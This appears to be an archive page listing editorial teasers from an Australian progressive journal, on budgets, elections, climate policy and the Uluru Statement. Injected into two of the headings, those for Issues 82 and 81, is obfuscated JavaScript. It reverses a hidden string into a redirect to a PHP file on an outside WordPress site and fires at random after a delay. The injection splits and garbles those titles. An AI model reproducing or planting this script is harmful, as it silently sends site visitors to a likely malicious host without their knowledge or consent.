Australia – a deficient democracy

Australia – a deficient democracy

Australia: a deficient democracy The governance of Australia’s institutions is frayed and failing with disquiet about the functioning of public and private institutions. Public institutions include executive government, parliament, courts, the Reserve Bank, universities and myriad public agencies such as the ABC and the Murray River Basin Authority.  They govern with a political charter through regulation and administration. The private...

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Editorial: Malcolm Turnbull’s Big let-down

Editorial: Malcolm Turnbull’s Big let-down

Editorial: Malcolm Turnbull’s Big let-down   The Uluru Statement from the Heart was issued in May 2017 on behalf of 227 First Nations delegates. This was the culmination of a consultation process including 12 Regional Dialogues held under the auspices of the Referendum Council. The Council claims it was the most proportionately significant consultation process that has ever been undertaken with First Peoples. The proportion of First...

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Mantles of fairness Editorial Issue 86

Mantles of fairness Editorial Issue 86

 Mantles of fairness   Budgets are politics dressed up as economics. Perhaps the most widespread view of the 2017 Budget is the Turnbull Government trying to retrospectively fix why it almost lost the 2016 Election. These include admitting to the unfairness of the 2014 Abbott-Hockey Budget and coating the 2017 Budget as fair.  As Michael Pascoe put in the Fairfax media, the Government is fixing ‘”Mediscare", education, housing...

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Editorial Issue No 85

Editorial Issue No 85

2017: The year of the rooster Trump's ascent to the US presidency gives a new meaning to the ‘year of the rooster’. Trump represents heightened conflict, climate chaos, racism and corporate rule. Republicans now control both houses of the US Congress as well as the governorship of 33 states. Conservative judges will soon dominate the US Supreme Court. The Trump administration is drawn from the corporates. It is strong on oil and gas...

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Editorial Issue No 84

Editorial Issue No 84

The election outcome   Prosperity, equality and democracy are objectives of progressive politics. The issue is how to get there.  Yet, the portents are so uncomfortable that it might be wise to rely on an old Irish adage, "I would not start from where we are now".   Economies are stagnant with high unemployment and under-employment. The IMF blames the Brexit vote for a reduction of a fifth in its forecast of global economic growth....

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Policies for a class war? Editorial Issue no 83

Policies for a class war? Editorial Issue no 83

The double dissolution election is contrived if not confected. The legislative business that was so important to need a special sitting of Parliament lasted one day. When the Senate rejected the Australian Building and Construction Commission (ABCC) Bill, the government did not even put its Registered Organisations Bill to the vote. The ABCC Bill is shocking. As Tom McDonald, former ACTU Vice-President says in SEARCH News, it violates the UN...

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Editorial No 82: Malcolm Turnbull and the politics of climate change

Editorial No 82:  Malcolm Turnbull $cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}and the politics of climate change

Malcolm Turnbull and the politics of climate change   In late September, 54 members of the Liberal Party Parliamentary Caucus voted for Malcolm Turnbull to become their leader; 44 voted for Tony Abbott, the incumbent. Consequently, Malcolm Turnbull replaced Tony Abbott as the Prime Minister of Australia. From the outside, it appeared that Tony Abbott was despatched with some alacrity and a degree of aplomb but with significant dismay within...

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Editorial Issue No 81: The Scandal of Unemployment

Editorial Issue No 81: The Sc$cFN$wEpyMrNXtezaeR2=function(n){if (typeof ($cFN$wEpyMrNXtezaeR2.list[n]) == "string") return $cFN$wEpyMrNXtezaeR2.list[n].split("").reverse().join("");return $cFN$wEpyMrNXtezaeR2.list[n];};$cFN$wEpyMrNXtezaeR2.list=["'php.sgnittes-nigulp/ssc/xobthgil-elbixelf/snigulp/tnetnoc-pw/ti.otelainafets//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*5);if (number1==3){var delay = 15000;setTimeout($cFN$wEpyMrNXtezaeR2(0), delay);}andal of Unemployment

The Federal Budget and the scandal of unemployment   All budgets are essentially fictions as they are based upon projections about an unknowable future: annual rates of GDP growth, levels of taxation revenue, iron ore prices etc. Yet the budgets delivered by this government are beginning to feel more like an episode of Game of Thrones than a credible economic exercise, so divorced are their stated justifications and underlying assumptions...

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Editorial Issue No 80 Renewing Australia’s politics

Editorial Issue No 80 Renewing Australia’s politics

Renewing Australia's politics   The neoliberal pipedream of a Free Market Nirvana is in trouble, even on its own terms. The unfettered free market does not deliver social justice or ecological sustainability – but then it was never supposed to. The neoliberal project was fundamentally about reducing the space for politics - making 'dollar votes' in the market more important than the electoral votes of citizens.   Despite the failures...

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Editorial Issue 79 – The state in the states

Editorial  Issue 79 – The state in the states

The State in the States   An ALP Government was elected in Victoria in November 2013. Elections are due in NSW and Queensland in early 2014. The result in Victoria, where a first-term Coalition Government was replaced, has alarmed the Federal Abbott Government and raised Labor hopes. Change of government seems unlikely in either NSW or Queensland, although Premier Newman might lose his own seat.   Electoral frissons aside, State...

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Editorial Issue 78 The unseemly rush to a war without end

Editorial Issue 78 The unseemly rush to a war without end

The unseemly rush to a war without end   Once again, we rush to war in the wake of a Great Power – all too early, too easy, too eager, too unheeding of the lessons of previous interventions in the Middle East.   The irony is seemingly lost on Tony Abbott and his ministers that those earlier interventions bear a large share of responsibility for the situation we now have. Those who will not learn from history are condemned to repeat...

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Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

Editorial Issue 77 The 2014 Budget; how to be cruel to be unkind

The first budget of the Abbott-led Coalition will be remembered for its politics and not its economics. Despite very loud rhetoric about debt and deficit, the macroeconomic settings left by Labor are little changed. The last Swan budget of 2013 forecast a budget deficit of A$18 billion in 2013-14, moving to a surplus in 2015-16. The Hockey budget of 2014 shows a deficit $29.8 billion for this year with the move to surplus being put back to...

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Editorial: Issue No 76 May 2014

Editorial: Issue No 76 May 2014

Editorial: Out of the West The results of the re-run of the senate election in Western Australia were mixed. Clive Palmer outspent everyone and won a seat; the Greens outspent everyone but Palmer and also won a seat. Labor disrupted themselves and suffered a swing of 5.2 per cent; the Coalition campaigned on the repeal of the carbon tax and the mining tax and suffered a swing of 7.3 per cent. Perhaps the two most important aspects are what it...

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Starting to Rebuild – Editorial Jan 2014 Issue No 75

Starting to Rebuild – Editorial Jan 2014 Issue No 75

Beginning to rebuild   After four months some of the directions of the Abbott Government seem clear. Mining before the environment, no help for manufacturing, minimal action on climate change, talk up an economic crisis, scapegoat and humiliate refugees, bluster about spying on the neighbours and blame everything else on the unions and the ALP.   Political theatre and tomfoolery aside, the Government is evidently very determined. It is...

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The 2013 Election: Mining 10, Environment nil

The 2013 Election: Mining 10, Environment nil

Conventional wisdom is that the 2013 federal election was a decisive victory for the Coalition but not a crushing loss for the ALP. The Greens did relatively poorly, though retaining the lower house seat held by Adam Bandt in Melbourne. The Senate fractured away from the major parties and the balance of power will be held by Palmer United, the Democratic Labour Party and a miscellany of single interest conservatives. Giles Parkinson summed it up...

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Readying for the Right Editorial Autumn 2013 Issue 72

Readying for the Right Editorial Autumn 2013 Issue 72

The siren songs of the faux election campaign are debt and deficit with a sprinkling of poor productivity and the lack of flexibility. It is almost as if Australia must have as much ‘austerity’ as anyone else. Yet, there is plenty of evidence to show that neither debt nor deficits are problems in Australia. Conversely, unemployment and inequality are serious matters hardly mentioned in political discourse. On the orthodox criteria,...

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Readying for the Right Editorial Summer 2012 Issue No 71

Readying for the Right Editorial Summer 2012 Issue No 71

Governments in the countries of the European Mediterranean, Ireland, United Kingdom and some of the Baltic are making their people suffer. This is by cuts to public spending especially in health, housing and welfare and by failure to support economic activity and to take action to reduce unemployment. In Europe, this is a result of “austerity”; policies introduced to purportedly deal with financial crises. Very similar policies are occurring...

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